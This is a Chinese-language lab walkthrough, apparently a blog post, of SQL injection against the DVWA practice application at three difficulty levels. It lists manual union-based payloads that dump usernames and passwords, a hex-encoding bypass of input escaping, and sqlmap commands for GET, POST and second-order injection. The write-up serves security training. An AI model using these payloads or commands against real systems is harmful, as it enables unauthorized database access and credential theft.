DVWA sqli注入流程(三种难度手工注入方式与sqlmap使用方式)

写在前面

最近学了一下sqlmap的使用方式发现挺简单的,但是也要尝试练一练呀,想起了最初搭建的dvwa。。。(玩一波~~~)

注入流程

level low

手注
low这个等级真的没啥好说的
最简单的union查询
列一下payload流程吧

1' order by 2# 测试列数
1' union select 1,2# 测试回显位置
1' union select 1,database()# 查看数据库名
1' union select 1, table_name from information_schema.tables where table_schema='dvwa'# 查表
1' union select 1,column_name from information_schema.columns where table_name='users'#查列
1' union select 1,concat_ws('~',user,password) from users#查字段

sqlmap
查看 dbms 当前数据库 和当前用户

python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -b -current-db -current-user

在这里插入图片描述
查看 当前数据库中的表名

python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -D dvwa --tables

在这里插入图片描述
查看表中的列名

python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -D dvwa -T users --columns

在这里插入图片描述
查看字段并停止查询

python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -D dvwa -T users -C user,password --dump

在这里插入图片描述
发现sqlmap还能生成临时文件并制作爆破字典真是一款强大的工具

level medium

手注

在这里插入图片描述
画风突转变成了POST的方式,不过也没啥东西,用burp抓个包就绕过去了
在这里插入图片描述
分析分析一波源代码看看过滤了什么
在这里插入图片描述
使用了一个mysqli_real_escape_string()的php函数
菜鸟教程讲https://www.runoob.com/php/func-mysqli-real-escape-string.html
把用户输入数据中的 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z字符进行了转义
然而发现查询语句为SELECT first_name, last_name FROM users WHERE user_id = $id并不是一定需要’号 库名表名等也可以用十六进制绕过
如同上面low的payload

1 order by 2# 测试列数
1  union select 1,2# 测试回显位置
1 union select 1,database()# 查看数据库名
1 union select 1, table_name from information_schema.tables where table_schema=0x64767761# 查表
1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#查列
1 union select user,password from users##查字段

sqlmap
注入点为post型参数时 sqlmap有两种利用方式
一种和get形式类似
只不过加上了Post的数据

--data “id=1&submit=submit”
python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" --data "id=1&submit=submit" -b -current-db -current-user

另一种比较方便结合burp
在这里插入图片描述python2 sqlmap.py -r C:\Users\HP\Desktop\1.txt -current-db
利用该文件进行注入,sqlmap操作流程如low

level high

手注
在这里插入图片描述fuzz一下发现除了语法报错不再显示详细错误情况之外好像没啥区别
查看一下代码
在这里插入图片描述
还真的没有过滤什么东西如同low(靶场水平真的醉了)

1' order by 2# 测试列数
1' union select 1,2# 测试回显位置
1' union select 1,database()# 查看数据库名
1' union select 1, table_name from information_schema.tables where table_schema='dvwa'# 查表
1' union select 1,column_name from information_schema.columns where table_name='users'#查列
1' union select 1,concat_ws('~',user,password) from users#查字段

sqlmap
发现查询页面和回显页面不同(好玩了)
这应该算是一个二阶的注入了吧
引进一个参数 second-url
查询网站为http://dvwa/vulnerabilities/sqli/session-input.php
回显网站为http://dvwa/vulnerabilities/sqli/
sqlmap的命令可以这样写

python2 sqlmap.py -r C:\Users\HP\Desktop\2.txt  --second-url "http://dvwa/vulnerabilities/sqli/" -current-db

增加参数类似可以注入出来数据

记录一个坑

我在用我的mysql服务中发现一但使用联合查询命令就会报错
Illegal mix of collations for operation
原理是
utf8_general_ci 和utf8_unicode_ci排序规则冲突导致的
所以全改为utf8_general_ci 就可以了
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值